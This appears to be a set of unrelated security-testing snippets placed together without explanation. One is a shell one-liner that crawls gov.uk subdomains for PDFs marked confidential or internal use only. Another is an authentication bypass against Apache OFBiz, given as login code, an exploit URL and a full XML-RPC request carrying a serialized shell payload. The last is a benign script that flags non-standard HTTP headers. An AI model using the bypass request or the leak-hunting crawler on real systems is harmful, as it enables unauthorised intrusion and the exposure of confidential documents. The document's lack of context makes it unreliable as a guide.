sudo apt install poppler-utils

for i in $(echo "gov.uk" | gau --subs --threads 16 | grep -E -o 'https?://[^[:space:]]+\.pdf' | httpx -silent -mc 200); do if curl -k -s $i | pdftotext -q - - | grep -Eaiq 'confidential|internal use only'; then echo $i | tee output.txt; fi; done

       List<String> unpwErrMsgList = new LinkedList<String>();
        if (UtilValidate.isEmpty(username)) {
            unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
        }
        if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
            unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
        }
        boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
        if (!unpwErrMsgList.isEmpty()) {
            request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
            return  requirePasswordChange ? "requirePasswordChange" : "error";
        }

if (username == null
                    || (password == null && token == null)
                    || "error".equals(login(request, response)))

/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y

POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>Methodname</methodName>
  <params>
    <param>
    <value>
      <struct>
        <member>
          <name>test</name>
          <value>
            <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
          </value>
        </member>
      </struct>
    </value>
  </param>
</params>
</methodCall>

if( !requestResponse.hasResponse() )
{
 return false;
}

String[] standardHeaders = {
 "accept-patch",
 "accept-ranges",
 "access-control-allow-credentials",
 "access-control-allow-headers",
 "access-control-allow-methods",
 "access-control-allow-origin",
 "access-control-expose-headers",
 "access-control-max-age",
 "age",
 "allow",
 "alt-svc",
 "cache-control",
 "clear-site-data",
 "connection",
 "content-disposition",
 "content-encoding",
 "content-language",
 "content-length",
 "content-location",
 "content-range",
 "content-security-policy",
 "content-transfer-encoding",
 "content-type",
 "cross-origin-embedder-policy",
 "cross-origin-opener-policy",
 "cross-origin-resource-policy",
 "date",
 "delta-base",
 "etag",
 "expect-ct",
 "expires",
 "feature-policy",
 "host",
 "im",
 "keep-alive",
 "last-modified",
 "link",
 "location",
 "pragma",
 "proxy-authenticate",
 "public-key-pins",
 "referrer-policy",
 "retry-after",
 "server",
 "set-cookie",
 "strict-transport-security",
 "tk",
 "trailer",
 "transfer-encoding",
 "upgrade",
 "vary",
 "via",
 "warning",
 "www-authenticate",
 "x-content-type-options",
 "x-frame-options",
 "x-permitted-cross-domain-policies",
 "x-xss-protection"
};

List headersList = Arrays.asList(standardHeaders);

var headers = requestResponse.response().headers();

List unexpectedHeaders = new ArrayList();

for( var header : headers ) {
    var headerName = header.name().toLowerCase();
 if( !headersList.contains( headerName ) ) {
  unexpectedHeaders.add( headerName );
    }    
}

if( unexpectedHeaders.size() > 0 ) {
 requestResponse.annotations().setHighlightColor( HighlightColor.GRAY );  
 requestResponse.annotations().setNotes(
     "Non-standard Headers: " + String.join( ",", unexpectedHeaders )
    );
}
else {
    // Maybe don't trample on existing Notes in the future??
    requestResponse.annotations().setHighlightColor( HighlightColor.NONE );
    requestResponse.annotations().setNotes("");
}

return true;